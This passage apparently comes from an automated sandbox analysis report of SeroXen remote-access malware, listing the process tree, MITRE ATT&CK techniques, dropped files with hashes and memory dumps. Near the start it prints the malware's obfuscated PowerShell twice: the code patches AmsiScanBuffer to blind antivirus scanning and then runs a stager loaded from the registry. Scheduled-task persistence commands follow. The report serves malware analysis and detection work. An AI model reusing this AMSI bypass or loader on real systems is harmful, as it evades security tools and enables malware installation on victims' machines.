lzHZn).Invoke(''+'a'+''+[Char](109)+'s'+[Char](105)+''+'.'+''+[Char](100)+'l'+[Char](108)+'');$VAOVynVphiHPMHvUL=$wTEvNcQaVZycIu.Invoke($Null,@([Object]$iEtZRbh,[Object](''+[Char](65)+''+[Char](109)+''+[Char](115)+'i'+[Char](83)+''+'c'+'an'+[Char](66)+'u'+[Char](102)+''+[Char](102)+''+[Char](101)+''+'r'+'')));$qIVEYfxqGM=0;[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($kfgUAiFPBiNLxKXcy,$KdNScjrtnEWBdBxjSAEkgd).Invoke($VAOVynVphiHPMHvUL,[uint32]8,4,[ref]$qIVEYfxqGM);[Runtime.InteropServices.Marshal]::Copy([Byte[]](0xb8,0x57,0,7,0x80,0xc3),0,$VAOVynVphiHPMHvUL,6);[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($kfgUAiFPBiNLxKXcy,$KdNScjrtnEWBdBxjSAEkgd).Invoke($VAOVynVphiHPMHvUL,[uint32]8,0x20,[ref]$qIVEYfxqGM);[Reflection.Assembly]::Load([Microsoft.Win32.Registry]::LocalMachine.OpenSubkey(''+'S'+'O'+[Char](70)+'T'+'W'+''+[Char](65)+''+[Char](82)+''+[Char](69)+'').GetValue(''+[Char](36)+''+[Char](55)+''+[Char](55)+''+[Char](115)+''+[Char](116)+''+[Char](97)+''+[Char](103)+'e'+[Char](114)+'')).EntryPoint.Invoke($Null,$Null)"
  2⤵
  - Suspicious use of NtCreateUserProcessOtherParentProcess
  - Drops file in System32 directory
  - Suspicious use of SetThreadContext
  - Modifies data under HKEY_USERS
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:2060
- - C:\Windows\System32\Conhost.exe
    \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
    3⤵
    PID:432
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE
  C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE "function Local:XNDoxjmbyDYX{Param([OutputType([Type])][Parameter(Position=0)][Type[]]$GDEmwOkQVPQYZx,[Parameter(Position=1)][Type]$OefUNRBRnA)$HzcTncBSxkB=[AppDomain]::CurrentDomain.DefineDynamicAssembly((New-Object Reflection.AssemblyName(''+[Char](82)+'e'+[Char](102)+''+[Char](108)+'e'+'c'+''+[Char](116)+''+[Char](101)+''+'d'+''+[Char](68)+'e'+'l'+''+[Char](101)+'g'+'a'+''+'t'+''+[Char](101)+'')),[Reflection.Emit.AssemblyBuilderAccess]::Run).DefineDynamicModule('InM'+[Char](101)+'m'+[Char](111)+''+[Char](114)+''+[Char](121)+'M'+[Char](111)+''+[Char](100)+''+[Char](117)+''+[Char](108)+''+'e'+'',$False).DefineType(''+[Char](77)+''+[Char](121)+''+[Char](68)+''+'e'+''+[Char](108)+''+'e'+''+[Char](103)+'a'+[Char](116)+''+[Char](101)+''+'T'+'y'+[Char](112)+'e',''+'C'+''+'l'+''+'a'+'s'+'s'+''+[Char](44)+'Pu'+[Char](98)+'l'+'i'+''+'c'+','+[Char](83)+''+[Char](101)+''+[Char](97)+''+'l'+''+'e'+''+[Char](100)+''+','+''+[Char](65)+'n'+'s'+'iC'+'l'+''+'a'+''+[Char](115)+'s,'+'A'+''+[Char](117)+'t'+[Char](111)+'C'+[Char](108)+''+[Char](97)+''+'s'+'s',[MulticastDelegate]);$HzcTncBSxkB.DefineConstructor(''+[Char](82)+'T'+'S'+''+[Char](112)+''+'e'+''+[Char](99)+'i'+'a'+''+[Char](108)+''+[Char](78)+''+[Char](97)+''+[Char](109)+''+'e'+''+[Char](44)+''+[Char](72)+''+[Char](105)+''+[Char](100)+''+[Char](101)+''+[Char](66)+''+'y'+''+[Char](83)+'ig'+[Char](44)+''+[Char](80)+'ub'+'l'+''+[Char](105)+'c',[Reflection.CallingConventions]::Standard,$GDEmwOkQVPQYZx).SetImplementationFlags('R'+[Char](117)+''+[Char](110)+''+[Char](116)+'i'+[Char](109)+'e'+','+''+[Char](77)+''+[Char](97)+''+[Char](110)+''+[Char](97)+''+[Char](103)+''+[Char](101)+'d');$HzcTncBSxkB.DefineMethod(''+[Char](73)+''+[Char](110)+''+[Char](118)+'o'+'k'+''+'e'+'',''+'P'+''+[Char](117)+''+[Char](98)+''+[Char](108)+''+'i'+''+'c'+''+','+''+'H'+''+[Char](105)+''+'d'+''+[Char](101)+''+[Char](66)+''+'y'+''+[Char](83)+''+'i'+''+[Char](103)+''+[Char](44)+''+[Char](78)+''+[Char](101)+''+[Char](119)+''+[Char](83)+''+'l'+''+[Char](111)+'t'+','+''+[Char](86)+''+[Char](105)+'rt'+[Char](117)+''+[Char](97)+'l',$OefUNRBRnA,$GDEmwOkQVPQYZx).SetImplementationFlags('R'+'u'+''+[Char](110)+''+[Char](116)+''+[Char](105)+''+'m'+''+[Char](101)+''+','+''+[Char](77)+''+[Char](97)+''+[Char](110)+''+'a'+'ge'+'d'+'');Write-Output $HzcTncBSxkB.CreateType();}$ItHbtbHmTfewC=([AppDomain]::CurrentDomain.GetAssemblies()|Where-Object{$_.GlobalAssemblyCache -And $_.Location.Split('\')[-1].Equals('S'+'y'+'s'+[Char](116)+''+[Char](101)+'m'+'.'+''+[Char](100)+''+[Char](108)+'l')}).GetType(''+[Char](77)+''+'i'+''+'c'+''+'r'+'o'+[Char](115)+''+[Char](111)+''+[Char](102)+''+'t'+''+'.'+''+[Char](87)+''+[Char](105)+''+[Char](110)+''+[Char](51)+''+'2'+'.'+[Char](85)+''+[Char](110)+''+'s'+'a'+'f'+''+[Char](101)+''+[Char](78)+''+[Char](97)+''+[Char](116)+''+[Char](105)+''+[Char](118)+''+[Char](101)+''+'M'+''+[Char](101)+''+'t'+''+[Char](104)+''+[Char](111)+''+'d'+''+'s'+'');$GbuMqEklhCuYDN=$ItHbtbHmTfewC.GetMethod(''+'G'+'e'+'t'+'P'+'r'+''+[Char](111)+'c'+[Char](65)+'d'+[Char](100)+''+[Char](114)+''+'e'+''+[Char](115)+''+'s'+'',[Reflection.BindingFlags](''+[Char](80)+'u'+[Char](98)+'l'+'i'+'c'+[Char](44)+''+[Char](83)+''+[Char](116)+''+'a'+''+'t'+''+[Char](105)+''+[Char](99)+''),$Null,[Reflection.CallingConventions]::Any,@((New-Object IntPtr).GetType(),[string]),$Null);$chkZBroUrWRvEPwdntk=XNDoxjmbyDYX @([String])([IntPtr]);$xbBSfXsyCvZAJDAiEVLWiu=XNDoxjmbyDYX @([IntPtr],[UIntPtr],[UInt32],[UInt32].MakeByRefType())([Bool]);$yPNhidZsclR=$ItHbtbHmTfewC.GetMethod(''+'G'+'e'+'t'+''+'M'+'o'+[Char](100)+''+[Char](117)+''+[Char](108)+''+[Char](101)+''+[Char](72)+''+'a'+''+'n'+''+[Char](100)+'l'+[Char](101)+'').Invoke($Null,@([Object](''+[Char](107)+'e'+[Char](114)+''+[Char](110)+''+[Char](101)+''+'l'+'3'+[Char](50)+'.'+'d'+''+[Char](108)+'l')));$CfectihgWTbqbV=$GbuMqEklhCuYDN.Invoke($Null,@([Object]$yPNhidZsclR,[Object]('L'+'o'+''+[Char](97)+''+[Char](100)+''+[Char](76)+'i'+[Char](98)+''+[Char](114)+''+'a'+''+[Char](114)+'yA')));$PiEoAfhRVNkZIsYoe=$GbuMqEklhCuYDN.Invoke($Null,@([Object]$yPNhidZsclR,[Object](''+[Char](86)+'ir'+[Char](116)+'u'+[Char](97)+'l'+[Char](80)+''+[Char](114)+''+'o'+''+'t'+''+[Char](101)+''+[Char](99)+''+[Char](116)+'')));$OIoVzMh=[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($CfectihgWTbqbV,$chkZBroUrWRvEPwdntk).Invoke(''+[Char](97)+''+'m'+''+[Char](115)+''+[Char](105)+'.'+'d'+''+[Char](108)+''+'l'+'');$HHlSXPFQmKvqGzwEB=$GbuMqEklhCuYDN.Invoke($Null,@([Object]$OIoVzMh,[Object](''+[Char](65)+''+[Char](109)+''+'s'+''+[Char](105)+''+'S'+'c'+[Char](97)+'n'+[Char](66)+''+'u'+''+'f'+'f'+[Char](101)+''+[Char](114)+'')));$KFzqmBjpfX=0;[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($PiEoAfhRVNkZIsYoe,$xbBSfXsyCvZAJDAiEVLWiu).Invoke($HHlSXPFQmKvqGzwEB,[uint32]8,4,[ref]$KFzqmBjpfX);[Runtime.InteropServices.Marshal]::Copy([Byte[]](0xb8,0x57,0,7,0x80,0xc3),0,$HHlSXPFQmKvqGzwEB,6);[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($PiEoAfhRVNkZIsYoe,$xbBSfXsyCvZAJDAiEVLWiu).Invoke($HHlSXPFQmKvqGzwEB,[uint32]8,0x20,[ref]$KFzqmBjpfX);[Reflection.Assembly]::Load([Microsoft.Win32.Registry]::LocalMachine.OpenSubkey(''+'S'+'O'+'F'+''+'T'+''+[Char](87)+''+[Char](65)+'R'+'E'+'').GetValue(''+'$'+''+[Char](55)+''+[Char](55)+''+'s'+''+'t'+''+[Char](97)+'ge'+'r'+'')).EntryPoint.Invoke($Null,$Null)"
  2⤵
  - Suspicious use of NtCreateUserProcessOtherParentProcess
  - Drops file in System32 directory
  - Suspicious use of SetThreadContext
  - Modifies data under HKEY_USERS
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2464
- - C:\Windows\System32\Conhost.exe
    \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
    3⤵
    PID:3352

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k netprofm -p -s netprofm
1⤵
PID:1236

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s ProfSvc
1⤵
PID:1296

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalService -p -s DispBrokerDesktopSvc
1⤵
PID:1400

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s UserManager
1⤵
PID:1452
- C:\Windows\system32\sihost.exe
  sihost.exe
  2⤵
  PID:2816

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p -s EventLog
1⤵
- Drops file in System32 directory
PID:1464

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalService -p -s EventSystem
1⤵
PID:1596

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k netsvcs -p -s Themes
1⤵
PID:1608

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k NetworkService -p
1⤵
PID:1660

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s SENS
1⤵
PID:1728

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s AudioEndpointBuilder
1⤵
PID:1756

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s Dhcp
1⤵
PID:1828

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p
1⤵
- Modifies Internet Explorer settings
PID:1864
- C:\Windows\system32\AUDIODG.EXE
  C:\Windows\system32\AUDIODG.EXE 0x00000000000004E8 0x00000000000004E4
  2⤵
  PID:3356

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p
1⤵
PID:1924

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p
1⤵
PID:1936

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k appmodel -p -s StateRepository
1⤵
PID:1232

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k netsvcs -p -s ShellHWDetection
1⤵
PID:1796

C:\Windows\System32\spoolsv.exe
C:\Windows\System32\spoolsv.exe
1⤵
PID:2108

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k NetworkService -p -s LanmanWorkstation
1⤵
PID:2232

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -s RmSvc
1⤵
PID:2336

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s IKEEXT
1⤵
PID:2520

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k NetworkServiceNetworkRestricted -p -s PolicyAgent
1⤵
PID:2528

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k NetworkService -p
1⤵
PID:2568

C:\Windows\sysmon.exe
C:\Windows\sysmon.exe
1⤵
PID:2660

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s TrkWks
1⤵
PID:2688

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s LanmanServer
1⤵
PID:2696

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s Winmgmt
1⤵
- Suspicious use of AdjustPrivilegeToken
PID:2704

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s WpnService
1⤵
PID:2732

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k UnistackSvcGroup -s CDPUserSvc
1⤵
PID:2932

C:\Windows\system32\wbem\unsecapp.exe
C:\Windows\system32\wbem\unsecapp.exe -Embedding
1⤵
PID:3092

C:\Windows\Explorer.EXE
C:\Windows\Explorer.EXE
1⤵
- Suspicious behavior: GetForegroundWindowSpam
PID:3212
- C:\Users\Admin\AppData\Local\Temp\Uni.exe
  "C:\Users\Admin\AppData\Local\Temp\Uni.exe"
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:4524
- - C:\Windows\SysWOW64\schtasks.exe
    "schtasks" /create /tn "SeroXen" /sc ONLOGON /tr "C:\Users\Admin\AppData\Local\Temp\Uni.exe" /rl HIGHEST /f
    3⤵
    - Creates scheduled task(s)
    PID:3888
- - C:\Users\Admin\AppData\Roaming\SubDir\Client.exe
    "C:\Users\Admin\AppData\Roaming\SubDir\Client.exe"
    3⤵
    - Executes dropped EXE
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of SetWindowsHookEx
    - Suspicious use of WriteProcessMemory
    PID:916
  - - C:\Windows\SysWOW64\schtasks.exe
      "schtasks" /create /tn "SeroXen" /sc ONLOGON /tr "C:\Users\Admin\AppData\Roaming\SubDir\Client.exe" /rl HIGHEST /f
      4⤵
      Creates scheduled task(s)
      PID:5012
  - - C:\Users\Admin\AppData\Local\Temp\install.exe
      "C:\Users\Admin\AppData\Local\Temp\install.exe"
      4⤵
      Executes dropped EXE
      PID:2552
  - - C:\Users\Admin\AppData\Local\Temp\MjKnI18yOOAV.exe
      "C:\Users\Admin\AppData\Local\Temp\MjKnI18yOOAV.exe"
      4⤵
      Executes dropped EXE
      PID:3472
- - C:\Users\Admin\AppData\Local\Temp\install.exe
    "C:\Users\Admin\AppData\Local\Temp\install.exe"
    3⤵
    - Executes dropped EXE
    PID:4756
- - C:\Windows\SysWOW64\SCHTASKS.exe
    "SCHTASKS.exe" /create /tn "$77Uni.exe" /tr "'C:\Users\Admin\AppData\Local\Temp\Uni.exe'" /sc onlogon /rl HIGHEST
    3⤵
    - Creates scheduled task(s)
    PID:4844

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k ClipboardSvcGroup -p -s cbdhsvc
1⤵
PID:3432

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s Appinfo
1⤵
PID:3460

C:\Windows\System32\RuntimeBroker.exe
C:\Windows\System32\RuntimeBroker.exe -Embedding
1⤵
PID:3848

C:\Windows\System32\RuntimeBroker.exe
C:\Windows\System32\RuntimeBroker.exe -Embedding
1⤵
- Suspicious use of UnmapMainImage
PID:3896

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k UdkSvcGroup -s UdkUserSvc
1⤵
PID:3996

C:\Windows\system32\DllHost.exe
C:\Windows\system32\DllHost.exe /Processid:{3EB3C877-1F16-487C-9050-104DBCD66683}
1⤵
PID:4012

C:\Windows\system32\DllHost.exe
C:\Windows\system32\DllHost.exe /Processid:{973D20D7-562D-44B9-B70B-5A0F49CCDF3F}
1⤵
PID:4336

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k osprivacy -p -s camsvc
1⤵
PID:4448

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalServiceAndNoImpersonation -p -s SSDPSRV
1⤵
PID:3932

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalService -p -s CDPSvc
1⤵
PID:1484

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s StorSvc
1⤵
PID:2812

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s WinHttpAutoProxySvc
1⤵
- Modifies data under HKEY_USERS
PID:3904

C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe
"C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe" /service
1⤵
- Drops file in System32 directory
- Modifies data under HKEY_USERS
PID:1884

C:\Windows\system32\SppExtComObj.exe
C:\Windows\system32\SppExtComObj.exe -Embedding
1⤵
PID:2008

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalService -p -s LicenseManager
1⤵
PID:1784

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s wlidsvc
1⤵
PID:3780

C:\Windows\system32\DllHost.exe
C:\Windows\system32\DllHost.exe /Processid:{3EB3C877-1F16-487C-9050-104DBCD66683}
1⤵
PID:3540

C:\Windows\System32\RuntimeBroker.exe
C:\Windows\System32\RuntimeBroker.exe -Embedding
1⤵
PID:1576

C:\Windows\system32\wbem\wmiprvse.exe
C:\Windows\system32\wbem\wmiprvse.exe -secured -Embedding
1⤵
- Checks BIOS information in registry
- Suspicious behavior: EnumeratesProcesses
PID:5092

C:\Windows\system32\DllHost.exe
C:\Windows\system32\DllHost.exe /Processid:{AB8902B4-09CA-4BB6-B78D-A8F59079A8D5}
1⤵
PID:976

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalService -p -s NPSMSvc
1⤵
PID:3868

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalService -p -s BthAvctpSvc
1⤵
PID:1648

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Scheduled Task/Job

T1053

Persistence

Scheduled Task/Job

T1053

Privilege Escalation

Scheduled Task/Job

T1053

Defense Evasion

Modify Registry

T1112

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Web Service

T1102

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Temp\MjKnI18yOOAV.exe

Filesize
131KB

MD5
bd65d387482def1fe00b50406f731763

SHA1
d06a2ba2e29228f443f97d1dd3a8da5dd7df5903

SHA256
1ab7375550516d7445c47fd9b551ed864f227401a14ff3f1ff0d70caca3bd997

SHA512
351ecd109c4d49bc822e8ade73a9516c4a531ebcda63546c155e677dcff19708068dc588b2fcf30cad086238e8b206fc5f349d37dda02d3c3a8d9b570d92e4d9

Download Submit
C:\Users\Admin\AppData\Local\Temp\install.exe

Filesize
162KB

MD5
152e3f07bbaf88fb8b097ba05a60df6e

SHA1
c4638921bb140e7b6a722d7c4d88afa7ed4e55c8

SHA256
a4623b34f8d09f536e6d8e2f06f6edfb3975938eb0d9927e6cd2ff9c553468fc

SHA512
2fcc3136e161e89a123f9ff8447afc21d090afdb075f084439b295988214d4b8e918be7eff47ffeec17a4a47ad5a49195b69e2465f239ee03d961a655ed51cd4

Download Submit
C:\Users\Admin\AppData\Roaming\SubDir\Client.exe

Filesize
409KB

MD5
4c2bb0618a6eda615c8001d5a7ccd6c0

SHA1
c88d2c8bfc5906a5cfef78893d1132edcffd71f0

SHA256
abcda524c02f9381d8d43f9ec0079d854db821d77f45e88f50606f46871f81d6

SHA512
6abe53339656a023e2a0547f1c2249789c33091d67a21f2e689c6411dc5357e34ec3c65634b6f6955a5023d20803f7c746b13f574bcd84b008abb4a97ea61027

Download Submit
C:\Windows\Temp\__PSScriptPolicyTest_emsowcdp.glu.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.EXE.log

Filesize
2KB

MD5
5f4c933102a824f41e258078e34165a7

SHA1
d2f9e997b2465d3ae7d91dad8d99b77a2332b6ee

SHA256
d69b7d84970cb04cd069299fd8aa9cef8394999588bead979104dc3cb743b4f2

SHA512
a7556b2be1a69dbc1f7ff4c1c25581a28cb885c7e1116632c535fee5facaa99067bcead8f02499980f1d999810157d0fc2f9e45c200dee7d379907ef98a6f034

Download Submit
C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
796B

MD5
11b35d285c25971059b9289800e9d349

SHA1
49cafa58591f679e638ea3ab064e73bbef4ac661

SHA256
30d23c23d20cde6ebe119b9c39faff4cb43f6640eea2fdbf3f786eb993b20b30

SHA512
b6e1213032d355a26528e2e910454dce0496e297ca5dc205546c947ed4e9b1d14f911a030df0a2e0de2e4fe29190f705254a1fdb3002c7677d5c789e5463e855

Download Submit
memory/456-98-0x00000202E52A0000-0x00000202E52CB000-memory.dmp

Filesize
172KB

Download
memory/456-92-0x00000202E52A0000-0x00000202E52CB000-memory.dmp

Filesize
172KB

Download
memory/456-99-0x00007FFF1D4B0000-0x00007FFF1D4C0000-memory.dmp

Filesize
64KB

Download
memory/532-103-0x00000158D58F0000-0x00000158D591B000-memory.dmp

Filesize
172KB

Download
memory/628-65-0x000001F636000000-0x000001F63602B000-memory.dmp

Filesize
172KB

Download
memory/628-58-0x000001F636000000-0x000001F63602B000-memory.dmp

Filesize
172KB

Download
memory/628-59-0x000001F636000000-0x000001F63602B000-memory.dmp

Filesize
172KB

Download
memory/628-66-0x00007FFF1D4B0000-0x00007FFF1D4C0000-memory.dmp

Filesize
64KB

Download
memory/628-57-0x000001F635DC0000-0x000001F635DE5000-memory.dmp

Filesize
148KB

Download
memory/684-76-0x0000023EA5300000-0x0000023EA532B000-memory.dmp

Filesize
172KB

Download
memory/684-70-0x0000023EA5300000-0x0000023EA532B000-memory.dmp

Filesize
172KB

Download
memory/684-77-0x00007FFF1D4B0000-0x00007FFF1D4C0000-memory.dmp

Filesize
64KB

Download
memory/916-34-0x00000000066E0000-0x00000000066EA000-memory.dmp

Filesize
40KB

Download
memory/916-1334-0x0000000074980000-0x0000000075131000-memory.dmp

Filesize
7.7MB

Download
memory/916-13-0x0000000074980000-0x0000000075131000-memory.dmp

Filesize
7.7MB

Download
memory/916-14-0x0000000074980000-0x0000000075131000-memory.dmp

Filesize
7.7MB

Download
memory/916-1335-0x0000000074980000-0x0000000075131000-memory.dmp

Filesize
7.7MB

Download
memory/992-87-0x000001BB3B7D0000-0x000001BB3B7FB000-memory.dmp

Filesize
172KB

Download
memory/992-88-0x00007FFF1D4B0000-0x00007FFF1D4C0000-memory.dmp

Filesize
64KB

Download
memory/992-81-0x000001BB3B7D0000-0x000001BB3B7FB000-memory.dmp

Filesize
172KB

Download
memory/2060-45-0x00007FFF5BAE0000-0x00007FFF5BB9D000-memory.dmp

Filesize
756KB

Download
memory/2060-43-0x000001EEBE710000-0x000001EEBE73A000-memory.dmp

Filesize
168KB

Download
memory/2060-21-0x000001EEBE230000-0x000001EEBE252000-memory.dmp

Filesize
136KB

Download
memory/2060-44-0x00007FFF5D420000-0x00007FFF5D629000-memory.dmp

Filesize
2.0MB

Download
memory/4436-51-0x0000000140000000-0x0000000140008000-memory.dmp

Filesize
32KB

Download
memory/4436-52-0x00007FFF5D420000-0x00007FFF5D629000-memory.dmp

Filesize
2.0MB

Download
memory/4436-53-0x00007FFF5BAE0000-0x00007FFF5BB9D000-memory.dmp

Filesize
756KB

Download
memory/4436-54-0x0000000140000000-0x0000000140008000-memory.dmp

Filesize
32KB

Download
memory/4436-49-0x0000000140000000-0x0000000140008000-memory.dmp

Filesize
32KB

Download
memory/4436-46-0x0000000140000000-0x0000000140008000-memory.dmp

Filesize
32KB

Download
memory/4436-47-0x0000000140000000-0x0000000140008000-memory.dmp

Filesize
32KB

Download
memory/4436-48-0x0000000140000000-0x0000000140008000-memory.dmp

Filesize
32KB

Download
memory/4524-7-0x0000000006CA0000-0x0000000006CDC000-memory.dmp

Filesize
240KB

Download
memory/4524-4-0x0000000074980000-0x0000000075131000-memory.dmp

Filesize
7.7MB

Download
memory/4524-5-0x0000000005B50000-0x0000000005BB6000-memory.dmp

Filesize
408KB

Download
memory/4524-6-0x0000000006770000-0x0000000006782000-memory.dmp

Filesize
72KB

Download
memory/4524-3-0x0000000005A90000-0x0000000005B22000-memory.dmp

Filesize
584KB

Download
memory/4524-2-0x0000000005FA0000-0x0000000006546000-memory.dmp

Filesize
5.6MB

Download
memory/4524-0-0x000000007498E000-0x000000007498F000-memory.dmp

Filesize
4KB

Download
memory/4524-20-0x0000000074980000-0x0000000075131000-memory.dmp

Filesize
7.7MB

Download
memory/4524-1-0x0000000000F20000-0x0000000000F8C000-memory.dmp

Filesize
432KB

Download